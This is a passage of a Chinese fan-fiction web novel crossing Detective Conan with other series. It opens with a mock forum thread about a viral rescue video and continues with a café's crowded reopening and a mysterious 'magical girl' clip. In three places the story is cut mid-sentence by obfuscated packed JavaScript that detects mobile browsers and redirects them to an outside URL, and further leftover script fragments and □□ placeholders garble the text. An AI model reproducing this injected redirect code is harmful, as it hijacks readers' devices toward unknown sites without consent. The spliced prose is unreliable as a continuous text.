人类为什么要学物理：啊啊啊啊啊啊啊！！看看我发现了什么！这是什么极品！我的神，这长相，这身手，你告诉我这是真人真事？？？现在、立刻、马上！我要这个漂亮小哥哥的全部信息！ 2L 篮球彩虹战队经理：认真的吗？？？徒手接住高空坠落的成年女性，我数了数，这楼最起码有20层吧？？？这体格，这力量，这美貌，帅哥来不来打篮球啊！ 3L 每天三杯咖啡续命：我不信世界上有这么漂亮的小哥哥，我不信这么漂亮的小哥哥有这么攻的身手，除非楼主把联系方式交出来让我验验货。 4L 别再叫我敲代码了：3L你算盘珠子都要崩我脸上了，楼主，她不信我信，所以联系方式有没有！别逼我跪下来求你！ 5L 基德大人的魔术箱：这公寓看着眼熟啊，这不会是米花町那家高级公寓吧？ 6L 大阪侦探才是最diao的：又是米花町？米花町这几天可真热闹啊，先是爆出来雾雨弥子去世，紧接着进了冷冻柜的尸体就原地复活了，这又出来一个徒手接跳楼少女的超人，敢问米花町的那位三观可还安好？死而复生的案子破没破？ 7L 每天三杯咖啡续命：喂喂，大家都在和平品帅哥，6L你怎么回事？怎么这都能扯到那两位啊？ 8L 看到我请叫我去写论文：7L你别搭理他，他是大阪那位的黑粉，经常性反串拉踩另一位，好让两边打起来，我估计他家是有人犯事被大阪那位送进去了。 9L 甜粽才是正统：8L你论文写完了吗？ 10L 看到我请叫我去写论文：可恶！这就去！ 11L 大阪侦探才是最diao的：你家才有人进去！你们全家都进去了！米花町，呵，我就把话撂这了，这视频最后绝对又变成那位当代福尔摩斯的安利贴。 12L 楼主：呃，你们网速好快，我一刷新居然已经两位数回复了。联系方式没有，当时没一会儿警察和消防就到了，楼楼根本没机会去要，但楼楼后来还看到了长□□亮小哥哥的朋友！果然帅哥的朋友都是帅哥！图片图片图片 13L 苍天保佑我考试不挂科：米花町的姐妹们吃的真好，羡慕了，等等，两个帅哥身后右边，那个正和警察说话的男高不是那位吗？ 14L 大阪侦探才是最diao的：我说什么来着？这就是那些的一个营销贴，最后果然又扯到了他身上吧？ 15L 看到我请叫我去写论文：你这就是强词夺理了吧？工藤一个侦探，会出现在这种场合也很正常吧？还有之前也是，侦探出现在命案现场不是很正常吗？怎么就成营销了？ 16L 数学杀我千百遍：虽然话是这么说，但会出现在每一个命案现场哪里正常啊！工藤他是不是应该去寺庙烧烧香，总觉得他走到哪都死人呢？还有，你不是去写论文了吗？ 17L 看到我请叫我去写论文：室友借我的电脑弄一下毕设，刚好抽空八卦一下嘻嘻。我倒觉得这正说明工藤命中注定是吃这碗饭的，不过这次米花町的案子是挺邪门的，死而复生都出来了。 18L 一口一个教导主任：小道消息，那案子已经破了，就在昨晚。 19L 数学杀我千百遍：什么什么？快，展开说说！ 20L 大阪侦探才是最diao的：我就静静看你们替那位装bi，吹，就硬吹，还命中注定是吃这碗饭的，笑死个人。 21L 一口一个教导主任：还真不是装bi，我表哥是米花町警视厅刑警大队的，他昨天晚上加了一晚上班，听说就是在忙这案子。 22L 别再叫我敲代码了：停一停停一停，这贴子的重点难道不是长□□亮小哥哥吗？我不关心什么大画家是不是死而复生啊，我只想要小哥哥的联系方式啊！ 23L 这艾欧泽亚哪有鱼：出了！米花町警视厅搜查一课出公告了！我的妈，还真有两个雾雨弥子啊？之前那个预言雾雨弥子是同卵双胞胎，死的压根不是雾雨弥子的大预言家呢？！ 24L 死刑不接仇，队友排进减伤轴：我的老天奶，这都行？雾雨弥子这双胞胎姐姐是石头缝里蹦出来的吗？怎么之前一点风声都没有？不是，雾雨弥子这什么操作啊，误杀就误杀了，为什么要这么高调的假冒被自己杀了的姐姐啊？还亲自躺进冷冻柜，她不怕真冻死啊？这么拼她图啥啊？ 25L 剧本杀真好玩：值班的被买通了吧？真躺里面一晚上，活人也铁定变冰棍。 26L 看到我请叫我去写论文：嘿，那位黑粉怎么说？刚才谁叫嚣让工藤破案的？这案子破了，人呢？< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651175|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>27L 基德大人的魔术箱：早溜了，这种反串狗最不要脸了，明明两位侦探关系不错，高联里谁不知道那两位是过命的交情啊？就他成天搁这上蹿下跳的，看着都烦。 28L 每天三杯咖啡续命：qwq，求求了，孩子对大画家的豪门恩怨不感兴趣，而且对那位来说破个案子不是家常便饭吗？不就是两晚上就找到了关键性证据嘛，这一点也不稀奇啊！有没有好心人把楼拽回来？孩子只想吃一口漫画小哥哥。 29L 工藤的推理日记：嘻嘻，看在你夸工藤的份上，我就大发慈悲的告诉你吧，米花町5丁目，波洛咖啡厅，不用谢。 …… 波洛咖啡店？ 怎么有点耳熟？ “千春，千春？我们该走啦。”做好细化方案、用完早餐的知世拍了拍好友的肩膀，“你不吃早餐吗？咱们上午可是满课哦？” “等等等等，我带走！”三原千春一口干了燕麦牛奶，把三明治包好塞进书包，“知世我记得你前几天说你叔母家的弟弟回国了，现在在米花町开咖啡店？” 虽然不知道为什么好友会突然问这个，但知世还是点了点头：“是呀，在米花町5丁目的波洛咖啡店，千春要去捧场吗？” “所以这真的是知世你弟弟？”三原千春点回第一页，把屏幕转向知世。 只有不到两分钟的视频很快就又放了一遍，知世看着视频中的七羽，目光闪了闪，最后眼睛弯弯，笑着说：“我果然没看错，七羽和他朋友都很上镜，不过七羽的气质和我想象中的有出入呢，或许我应该更改一下设计？” 她右手轻敲左手掌心：“千春你觉得改成高领荷叶领口加不规则单肩披风怎么样？帽子也可以改成侧戴，增加黑白羽翼点缀，唔，或者改成黑纱？” “不……其实我是想问……”看着已经完全沉醉在服装设计中的好友，三原千春最终叹了口气，“我觉得挺好的。” 算了，就算大画家雾雨弥生真的是杀人凶手，杀得还是自己的双胞胎姐妹，和她们又有什么关系呢？ 还是想想一会儿的随堂测试怎么应付吧。 * 同一时间，波洛咖啡厅在停业了两天后重新开了门。 七羽把新改好的菜单输入系统，只见电子屏幕上原本丰富的菜单瞬间消失，只剩下孤零零的三个选项，其中还有一个选项是怎么看都不应该出现在咖啡店的披萨。 至于另外两个，一个是所有咖啡店都会有的美式（冰/热），另一个则令人摸不着头脑。 “叮咚。” “欢迎光……临？” 正系围裙的鲁路修听到门口风铃的声音，快速在身后系了个结，摆出微笑的同时转过身。 “我想来一杯店长特供的ネギの愿い (Negi no Negai)。” 牵着出云晴子进来的出云太太在鲁路修略略惊讶的目光中落座，点了菜单中的最后一个选项。 回归第三天，波洛咖啡厅迎来了真正意义上的第一位客人。 25.波洛咖啡店 “一杯愿望啊……”鲁路修颇有深意的语调上扬，他往吧台微微侧头，“七羽？” 正擦着杯子的七羽手上动作不停，只分过来一点视线。 他先是看了看同出云太太一起来的女孩儿，昨天才经历惊心动魄一夜的女孩儿怀里抱着一个毛绒小熊，半张脸都埋在了小熊毛茸茸的脑后，只露出一双浅茶色的眼睛，此时那双浅茶色的眼睛正直直的对着七羽，见七羽看过来，出云晴子眼睛弯了弯，在毛绒小熊的背后露出一个万分甜美的笑容来。 “您已经不需要愿望了。”七羽从出云晴子身上移开目光，认真的对出云太太说，“要来杯美式吗？” “披萨！妈妈我要一份披萨！”出云晴子活泼的语气简直和之前判若两人，她举起右手，期待的看着鲁路修，“就要前天那一款，我还没给你们试吃提意见呢！” “那款没有了，今天只有牛油果饼底的蔬菜披萨。”新上任的西点师任性的表示他们店的披萨不支持自选，店里有什么材料才有什么口味的披萨。 “啊……”出云晴子失落的垮下脸。 “是因为没有合适的供货渠道吗？” 面对恢复活力的女儿，昨日语出惊人时都毫无情绪波动的出云太太眼里掠过抹微弱笑意，这让昨日看上去生人勿近的她显得有人气儿多了。 她从随身的手提包里掏出两张卡放在桌子上，往七羽的方向一推：“我看到你们昨天发布了供应商招商信息，刚好我有个老同学是做这个的。” 离得近的鲁路修视线往桌上一扫。 那是一张名片以及一张银行卡。 他微微挑眉，联想到昨夜七的外出，明白了出云彩华的来意。 “虽然我的本意并不是这个，但我们的确很需要。”食材储备与启动资金短缺的新晋咖啡店店长把“我们缺钱”说得十分坦然，“所以我们就先收下了，与此同时，我会为出云太太您预留一杯愿望，下次您需要的时候可以直接来找我兑换。” 抱着毛绒小熊的出云晴子困惑的歪头，不太理解为什么七羽说母亲已经不需要愿望了，却还要给母亲留个未来的名额。 以及，原来她昨天在幻梦中喝得那杯咖啡居然是真实存在的吗？ 盯着价目表上的“美式（冰/热）”，两天前才差点被苦到吐出来的女孩儿犹豫着要不要再尝试一次。 总有一点注意力停留在女儿身上的出云太太笑了笑：“那今天就先来两杯美式吧，全冰，加不搅打稀奶油，一杯全糖，一杯不加糖，以及一份披萨。” 七羽沉默片刻，接着淡定的表示他们家的美式是纯正美式，除了热水什么都不加。 伴随着咖啡机启动的声音，走向厨房的鲁路修默默把牛油果放回了冰箱，取出了所有剩余的棉花糖。 看在那两张卡的份上，还是给她们配一份甜口的披萨吧。 半小时后，出云母女坐过的卡座圆桌上留下了一个空了的盘子，以及两杯只喝了一口的冰美式。 七羽从吧台后面出来收拾桌子，端起餐碟时若有所感的往店门方向看了一眼。 一直被出云晴子宝贝一样紧紧搂在怀里的毛绒小熊趁着出云太太转身推门的机会，蹬着出云晴子的胳膊往外探出头，抬起短短的绒绒爪爪向七羽挥了挥。 七羽脸上带出笑意，无声做了个“再见”的口型。 刚从厨房出来正好见证了这一幕的鲁路修：“看来昨天晚上发生了不少事？” 是发生了不少事。 七羽思索着应该从哪里开始说，但无论是工藤新一在晴子说出自己的“灵光一现”后发现了“雾雨弥子”的真正尸体，还是为了完成愿望，被自己塞进毛绒小熊里的“雾雨弥子”，都不是两三句就能简单说清楚的事。 就在他捋好了前因后果，也组织好语言后，店门被第二次推开了。 穿着帝丹中学校服的两个女生再三确认了店名，这才推门进来，进来后看到七羽的第一时间就齐齐发出一小声惊呼。 “好像！” “梦幻联动！公嬷一体！” 两位女生在情不自禁的脱口而出后，可能也自知失言，在七羽的目光瞥过来前干咳了几声，以作掩饰。 七羽指指桌上的两张卡，对鲁路修比了个打电话的手势，然后才带着浅笑招呼两位客人。 “欢迎光临，要来一杯美式吗？” 今天波洛咖啡店营业额首次破冰，七羽对此很满意，满意到能够无视两位女生口中那些奇奇怪怪的话。 “要！要！”进店的两位国中生不住点头，几下之后见七羽收拾好餐盘准备去吧台泡咖啡，你推我我推你，最后扎着马尾辫的女生捏着衣角，期期艾艾的小声开口，“那个，请问可以合影——啊不是！我是说，可以在店里拍照吗？” 抢在没常识的七羽开口前，拿着两张卡正准备出去打电话的鲁路修笑着拒绝：“不好意思，不可以拍照。” 两位手机都已经掏出来了的女生同时失落的“啊”了一声。 七羽让她们按照价位表付了款，熟练往咖啡杯里倒热水时挪了一步，刚好避开了她们坐好后偷偷对过来的摄像头。 “请慢用。”把两杯咖啡粉加倍的美式放在客人面前，七羽离开前不经意的问道，“我看两位似乎是特意来我们店喝咖啡的，能问一下你们是从哪里知道我们重新开业的吗？” “没……没什么。”单马尾女生目光闪躲，“我们学校就在这附近嘛，以前就经常来，所以群里一说你们重新开业了，我们就趁着上课时间没到赶过来了。” 另一个短发女生把手机扣在桌子上，盖住了打开的相机界面：“对对，我们都在居民群里，店长你今年多大呀？是帮家里看店吗？用不用我扫你好友，拉你进居民群？” 说着说着，或许是觉得能搭讪成功，短发女生的目光变得跃跃欲试起来。 “暂时不用，不过谢谢你，需要白水可以随时叫我。” 留下令两位顾客一头雾水的话，七羽回到吧台后从下面拉出来把矮凳，原地一坐只露出来个脑袋顶。 两位国中生妹子在店里等了一会儿，期间目光频频往吧台方向投去，但随着墙上挂钟的指针越来越逼近上学死线，想等七羽出来或者鲁路修进来再看几眼的两人坐不住了。 虽然店主真的很漂亮，店员也真的很帅气，但教导处主任对她们来说却有着恐怖的统治力。 要不放学再来？ 两人头碰头，压低声音商量了一下，觉得虽然没拍到照有点可惜，但也算赶了早班车打了卡，勉强算得上不虚此行了。 临走前恋恋不舍的两人本着不浪费自己零用钱、也不辜负漂亮店主心意的原则，决定把咖啡喝完再撤退。 ……好苦，好难喝。 一口咖啡入口，两人从彼此的脸上看到了同款痛苦面具。 算了，冲着店主小哥哥和店员小哥哥的颜，忍了。 溺爱了加了双份咖啡粉的二人终于明白店主刚才为什么会说“需要白水随时叫他”了。 开开心心进来的两人是苦着脸出去的。 等她们走远了，挂掉电话的鲁路修这才回到店里。 他看向马路对面同样穿着帝丹中学校服四下张望的学生，在对方目光锁定波洛咖啡店时皱起了眉：“情况好像不太对。” “嗯。”七羽应声，“是不是出云太太帮咱们进行了宣传？” “应该不是。”鲁路修不觉的出云太太是那种对自己付出羞于启齿的类型，从她大方掏出两张卡摆在桌子上就能看出来，她是那种会当面正式表示感谢的类型，“可能是昨天你接住出云晴子的视频传出去了，你确定当时没被拍到解释不清的画面吧？” “当然，这点自信我还是有的。” “那看来只能是因为你这张脸了。” 眼看马路对面锁定他们店铺的国中生已经趁着没车，小跑到了他们店门口，鲁路修果断躲进了厨房。 听着外面频频传来的风铃声，以及七羽接连肘击咖啡机的声响，鲁路修突然觉得在咖啡店里做只烤披萨的西点师也不错，至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663793|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少这个世界的人也没有在咖啡店点披萨的奇怪饮食习惯。 外面的七羽简直忙飞了。 他也顾不上避开客人们的摄像头了，七羽从来没处理过这么多订单，随着进来打卡的学生越来越多，不大的咖啡店里排满了人，连门口都排起了队伍。 更离谱的是，除了帝丹中学的国中生，还有不少帝丹小学的小孩子拉着家长进来，压根喝不了咖啡的小孩子在店门口一哭二闹三上吊，磨得家长根本没脾气，不过真正有脾气的家长早在孩子提出要喝咖啡的时候就拒绝了，也不可能会出现在他们店门口。 仅仅三分钟，发现咖啡要等很久，很可能会错过早读的一名国中生成了第一位点披萨的人。 随着披萨进了烤箱，美妙的咸香味扩散开后，后面许多没吃早餐的学生纷纷心动了。 一大早就连着烤了两份披萨，胳膊酸痛的鲁路修却准备开摆，连借口都是现成的——不是他体力不行，实在是没原材料了。 七羽在忙着泡咖啡的间隙向他投去控诉的眼神。 于是在吧台后面忙碌的变成了两个人。 八点一过，最后一位国中生抱着咖啡向公交车站狂奔而去，七羽和鲁路修才有了缓口气的机会。 本以为今天早上这个时间段就是他们客流量的巅峰了，结果事实证明鲁路修低估了米花町人民的热情。 早上的忙碌只是一个开始。 在早上八点后，店里的确不再出现附近学校的学生以及同行的家长，但来摸鱼、打卡的顾客却仍络绎不绝。 也就是出云太太和她的老同学足够靠谱，早上鲁路修刚刚打通电话自报家门，对面就表示已经准备好了一般咖啡店会用到的全部食材，如果他们现在有空现在就可以送货上门。 也正是由于这个原因，波洛咖啡店才避免了刚开门一小时就关门的命运，披萨也重新回归了菜单，成了分担客流量的另一个选择。 唯一的坏处就是，这直接导致了只有一名店员和店长营业的波洛咖啡厅超负荷运转了。 鲁路修发誓，他这辈子就没这么密集的烤过披萨。 一开始他还勉强能够应付，毕竟虽然七羽泡的咖啡难喝，但咖啡的香味真得很唬人，再加上那台系统出品的咖啡机时不时会灵光一下，磨出来真正的美味咖啡，美味到能够靠原材料本身的优质抵消掉七羽那糟糕的手艺。 于是买到这部分咖啡的幸运儿就会向后面排队的顾客狠狠卖安利，骗更多的顾客选择经济实惠的美式咖啡。 随后收了安利的顾客再被七羽的真实水平劝退，并看在七羽那张脸的份上含泪咽下嘴里苦到发酸的咖啡后，选择来一份0差评的披萨。 真不知道冲咖啡这种毫无技术含量的事情，为什么由七羽出手就能难喝到突破天际。 揉面揉到小臂抽筋外加精神恍惚的鲁路修甚至怀疑七羽是故意泡得那么难喝的。 客流量在下午四点，周边的学校都放学后来到了最高峰。 新一和小兰就是在这时候来的。 届时看着挤满了人的咖啡店，小兰惊讶的张大了嘴。 “这是怎么了？七羽他们店有开业酬宾活动吗？” 小兰迷茫的看着压根挤不进去的咖啡店。 “没有，并且菜单只有美式，七羽泡的美式。” 小兰这才看到被人群挡住的鲁路修。 对方搬了个小凳子坐在店门外，周围排队的学生不知道为什么，特别规矩的绕开了他，从中午开始就坚持不动的鲁路修靠着玻璃，两手交替着捏着自己小臂放松，他身下的凳子小兰看着觉得有点眼熟，应该是从隔壁寿司店老板那借来的。 小兰：“是因为雾雨弥生的案子？中午新一告诉我那案子破了。” “也不全是因为雾雨弥生那案子吧。”站在小兰身边的新一说，“可能是因为七羽的形象很像今早在Twitter上火了的魔法少女。” 捕捉到了奇怪的关键词，鲁路修和小兰异口同声—— “魔法少女？” 26.波洛咖啡店 在周遭排队众人各式各样的视线中，工藤新一适应良好的盘腿在鲁路修身边的空地坐下，掏出手机和鲁路修加上了LINE的好友后把链接分享了过去。 鲁路修点开链接跳转Twitter，一进去帖子界面，原本流畅的手机就变卡了，主楼中的视频都卡没了，只剩一个不停转圈圈的白框。 “应该是同时看得人太多了，卡住了。”新一“啧”了两声，感叹着Twitter的服务器该升级了，要不流量一爆就卡，“等一会儿就刷出来了。” 五分钟后，视频终于缓冲出来了，白框也变成了氛围感十足的封面。 刷新出来的封面只一眼就能吸引住点进来的访客，很显然，帖主没有使用默认的视频开头第一秒，而是精心拉进度条特意节选了这一秒。 鲁路修仔细看了两眼，不得不说，帖主的审美很好，封面上是于月下轻盈踩在公寓阳台上、向屋内主人伸出手的少女剪影。 因为距离以及像素的限制，画面中的剪影并不真切，反而有些模糊，但就是这一丝模糊营造出了一股神秘的氛围感。 鲁路修默默在心里把这个模糊不清的剪影同七羽的侧影相比较，发现相似度的确很高。 但不知道是角度原因，还是拍摄者距离太远、画面清晰度太糊，鲁路修总觉得封面中少女的体型和七羽有细微差别。 “她”踩着的阳台也很眼熟，就是早上才来过的出云晴子卧室的阳台。 鲁路修不信同样去过出云晴子家的高中生侦探没有注意到这一点。 于是鲁路修在点开视频的时候小幅度的改变了一下手机屏幕的朝向，他的动作很自然，看上去只是照顾新一，以及站到新一身后、同样好奇看过来的小兰，让他们能有更好的视角。 “这个角度屏幕有点反光呢。” 小兰双手撑着新一的肩膀，垂下的长发就落在了新一的颈窝，她换了几个角度，都只能看到屏幕反光后映出来的倒影，完全看不清视频画面，这才出声提醒。 “不好意思，是有点反光。” 鲁路修若无其事的把目光从屏幕的倒影上移开，他再次调整角度，于是屏幕上正侧目观察他的高中生侦探也消失了。 “要不我帮你挡一下光？” “不用，还是我来吧，你坐我这里。” 鲁路修让出了自己的小凳子，把手机递给小兰：“可以帮忙拿一下手机吗？” “啊，谢谢！”因为穿着裙子不方便席地而坐才选择站着的小兰接过手机，揽着裙子在小凳子上坐下，“当然没问题，我看看啊，这个角度可以吗？” 小兰调整了一下，为确保新一和鲁路修都能看到，她还特意左右侧头检查了一下。 “很清楚。” “那我就把进度条拉回喽？” 听到鲁路修“嗯”了一声后，小兰把进度条拉回了最开始，从头开始看因为屏幕反光以及交换位置而错过的画面。 视频的开头是俯瞰角度下的米花町夜景，摄影师的角度拉得很好，只是一个大特写，就拍出了米花町入夜后，整个城市陷入安静睡眠的宁静感，看得出来帖主应该是无人机航拍的老手。 漂亮的城市航拍结束于一角一闪而过的裙摆。 摄影师当时估计也愣住了，镜头足足停留在原地十几秒，才慌慌张张的开始旋转着寻找刚刚裙摆的主人。 这可是高空航拍啊！ 这个高度下，要是没有飞行设备辅助，连怪盗基德都不可能孤身飞掠而过。 一阵能把晕3D的人晃吐的旋转后，摄影师估计是发现了目标，无人机重新调整好方向，以最快的速度追寻而去。 接着就是被摄影师截成封面的那一幕了。 像是怕惊扰到优雅落在阳台边缘的少女，无人机放慢了靠近的速度。 这时古怪的一幕出现了。 随着距离的拉近，按理说画面应当越来越清晰才符合常理，但实际上视频中的画面不仅没有变得清晰，反而愈发模糊。 最后在距离少女百多米的时候，镜头中的少女似乎是察觉到了什么。 只见少女缓缓转过头，而随着她的动作，镜头中的画面徒然暗了下去。 月亮悄悄藏了起来，城市的灯光被寸寸擦掉，静谧的黑暗中只余下少女右眼下的三颗菱形晶体散发出来的幽光。 “啪。” 画面彻底黑了下去。 “好美……”捧着手机的小兰喃喃出声，“她……怪不得他们都叫她魔法少女。” “回魂！”新一伸手在小兰眼前打了个响指。 一声脆响，小兰这才从不正常的失神状态中脱离出来。 “我……我刚刚？” “嗯，这个视频的最后几秒有问题。”新一才不会告诉她自己第一次看的时候也看入迷了，“你看下面的评论，很多人都像你刚才那样，直接被魇住了。” “我只是觉得她太好看了。”小兰红着脸辩解了一句，接着她狐疑的看向唤醒自己的人，“你不会也被迷住了吧？” “……怎么可能！我可是名侦探！” “这两者之间没有必然关系吧？” “当然有！超绝的自我控制力是名侦探的必备技能，只要意志坚定，就不会中招，你看L.L.就没事。”新一指着站在两人身后的鲁路修。 “因为我有爱人了。”鲁路修才不想按工藤新一的步调走，“或许工藤你也不是靠意志坚定才没中招的？” “……” 对着目光突然犀利起来的小兰，伤敌无效自损八百的新一选择立刻转移话题，“总之！因为这个视频和七羽接住出云晴子的视频前后脚火了，所以很多网友都觉得七羽就是这个视频里的魔法少女。” 至于七羽是个男生的事实…… 在网友们看来，这反而成了另一个萌点。 看点赞最高的评论就知道了，这帮看热闹不嫌事大的网友直接复制粘贴了几百层楼，放眼望去全是“谁说男孩子就不能成为魔法少女了”的复读机。 “可是我觉得视频里的魔法少女确实是个女生啊？”小兰歪头。 七羽救人的视频她当然也看了，不仅如此，比起全靠臆测的网友，她还见过七羽本人。 他们是非常像，但小兰的直觉告诉她，这个视频里有着魔性美丽的应该是个真正的女孩子。 “L.L.你觉得呢？”新一看向鲁路修。 鲁路修知道新一在怀疑什么，但这种时候越反驳越可疑，所以他给出了一个在高中生侦探预料之外的提议。 “你们要这么在意，让七羽穿裙子cos一下视频里的魔法少女不就好了？” “诶？”小兰诧异的也回头看鲁路修，“这不太好吧？” 鲁路修无所谓道：“就当是创收的手段了。” 新一看着开始讨论是不是真能用创收劝动七羽的二人，没有说话。 而就在鲁路修和小兰聊得愉快的时候，为了方便顾客排队一直打开的店门关上了，浑身咖啡味的店主带着一身低气压，“啪”的把“营业中”的牌子翻了过去。 “真悠闲呢，L.L.。”七羽面无表情的打招呼，“下午好，工藤君，毛利小姐。”他垂眼往小兰手中的手机一扫，“你们在看什么？似乎很有趣。” 被正主抓包的三人背影齐齐一僵。 虽然理论上自己并不是七羽的店员，刚才也没参与迫害七羽的讨论，但因为别的原因心虚的新一还是尴尬得挠了挠脸颊。 还有七羽的这个问题，他们总不好直接坦白在口嗨如何诓七羽穿裙子，cos视频里的魔法少女展开咖啡店的新业务吧？ “一个最近挺火的少女偶像。”小兰和鲁路修都不吭声，新一只得含混的解释，并试图用两声“哈哈”揭过这一茬。 与新一比起来，鲁路修的态度就坦荡的多，他自然的从小兰手里把手机拿回来，看了眼已经空下来的店铺以及点店门上“休息中”的挂牌，若无其事的问道：“不营业了？” “不了，再营业下去，估计我们就要成为名声奇怪的都市传说了。” 七羽想打出去的是“能够实现人愿望的咖啡店”这种都市传说，而不是“喝了会让人破防到掉San，从而原地发疯”的都市传说。 虽然不是每一杯都会触发咖啡机的Debuff，但在今天这种客流量下，也有不少人喝到了Debuff版本。 其实在知道D ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672378|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ebuff的效果后，七羽没打算给今天的客人提供Debuff版本咖啡的，主要是一咖啡店的人集体发癫，真得很容易上社会新闻。 但他又不好直接把这一类从表面上看不出来异样的咖啡粉当着顾客的面倒掉，所以七羽选了个折中的方式。 他把这部分咖啡粉泡出来，然后借口说是熟人点的外送订单，数量多是因为要请整个科室的同事，但也是因为数量过多，所以他会在兼顾到店顾客体验的基础上插空做。 通过这种方式，七羽把只是正常难喝的咖啡与不仅仅是难喝的咖啡分开摆放，以免有人拿错。 一开始还好，但随着顾客越来越多，七羽越来越忙，有些顾客又会点了单后去卡座那边、或者店外等，等时间差不多了再从取餐区自取，在Debuff咖啡越来越多的情况下，难免会有人拿错。 于是咖啡店里的画风逐渐诡异起来。 起先还仅仅只是有部分顾客会不顾提醒，偷偷拿出来手机偷拍，后来七羽懒得管了，就有胆子大的顾客举着买到的咖啡录视频，不止录视频，广角还拉得很大，大到正好能从门口把吧台后的七羽录进去的程度。 还有那些不知道做什么工作的白领。 上午人还不算特别多的时候就来了，点一杯咖啡就往卡座住下了，咖啡摆在桌上也不喝，从早上呆到他刚刚宣布关店，期间连午饭都没有离开，而是点的披萨。 ——这也是鲁路修在中午后就罢工的根本原因。 不是鲁路修不努力，实在是中午这一波让他半天都缓不过来。 “我早就建议你先暂时休店了。”鲁路修完全不同情打了一天工的七羽，“就你那泡咖啡的水准，今天卖的越多，网上的负面评价越多，还不如限购，只卖你泡得好的那部分。” 新一和小兰在旁边，鲁路修不好说得太清楚，但七羽应该是听懂了。 根据就是七羽琢磨了一下，发出了资本家的声音：“那我今晚让咖啡机加加班，磨出来多少份额的合格咖啡粉，明天就限购多少杯。” “对了，工藤君和毛利小姐要不要尝尝？我特意给你们留了两杯。” 七羽这突如其来的情商令鲁路修微微侧目。 “其实之前我就想说了，七羽你可以直接叫我小兰，或者你觉得不好意思也可以喊毛利，不需要用敬语的。”小兰说完后点了点头，“咖啡的话，我就不客气了。白天新一还跟我说你的咖啡是这次破案的关键，但是我一问他什么意思，他又非说案件还在审理中，他有义务保密，真是的……” 被小兰抱怨的当事人不满了，“喂喂，小兰你要讲道理啊，连毛利大叔那种三流侦探都不会向外透露具体案情的。” “这我当然知道！我只是在控诉你明知道不能说，还非得吊人胃口。”小兰叉腰用指尖点着新一肩膀，“还有，你说谁是三流侦探啊！” 七羽看着再次展开拌嘴的一对儿青梅竹马，安静回店里用留下来的咖啡粉泡咖啡去了。 在外面坐了一下午的鲁路修跟在他身后一同回店，给自己倒了杯水后靠在吧台上看七羽。 “你要是有事情想问工藤，应该给他喝失败版的吧？” 正冲咖啡的七羽没抬头：“就像你说的，我还不想被盯上。” 给工藤喝失败版，最科学的展开是工藤去警视厅举报了他们。 当然，也可能在举报之前，工藤会看在七羽曾救过他的份上，先行警告他别往咖啡里放违禁品。 但最可能得发展方向是他从此盯上七羽。 这种盯上不一定带有恶意，但永远不要小瞧一个侦探的好奇心与求知欲。 在英灵座和福尔摩斯有过合作的七羽对此深有体会。 “很欣慰你有好好记住我们的准则。”鲁路修说道，“对了，那个视频，你为什么要被拍下来？” “啊，你问这个啊。”七羽没问鲁路修是怎么发现自己是故意的，他直接给出了答案，“一是这是一个不错的机会。” 七羽停顿一下。 “另外就是……” 他看向马路对面不远处的十字路口，那里正好有一个摄像头对准了他们的店门。 “我有一件想确认的事。” 27.波洛咖啡店 见鲁路修表示出了好奇，七羽大概讲了一下有关自己被无良前老板凌晨丢进游乐园，碰巧救下险些被喂药的高中生侦探的故事。 故事本身并不复杂，用不了几句话就能解释清楚，相比较而言，七羽在诉说自己对出云晴子事件的猜测时花了更多的时间。 鲁路修捧着倒满了热水的杯子，边吹凉边问：“你是说那位真正的死者雾雨柚叶——也就是被雾雨弥子误杀掉的双胞胎妹妹，她的真实身份和袭击工藤的两个黑衣人有关系？” 七羽点头：“他们应该是同一个组织的。” 这是雾雨柚叶自己亲口说的。 “你认为银发黑衣人——我们姑且先简称他为银。”觉得“银发黑衣人”这个描述很有中二味道的鲁路修选择给对方安上个正常点的称呼 “所以你觉得，银让出云晴子去找工藤是别有目的的。”鲁路修能理解七羽这么想的原因，因为实在巧合，“但如果以这个为前提往后推，这里面有几点说不通。” 鲁路修在解释之前往外看了一眼，确认工藤和小兰没有进来的意思后，才继续给七羽抽丝剥茧的分析。 “第一，他的直接目标应该并不是你，而是工藤。” 七羽从副本里出来，和出云晴子遇到“银”是前后脚，与其猜测对方在这么短的时间内确定了七羽的身份，还通过委托工藤来拖七羽下水，不如假设对方的目标本来就是工藤。 这样很多不合理的地方就都有了解释。 “毕竟他给出云的建议是让她去委托工藤，而不是毛利侦探。” 而出云晴子之所以会出现在他们店里，正是因为她并没有听从对方的建议。 至于出云会在这里偶遇送小兰回家的工藤，这是偶然事件。 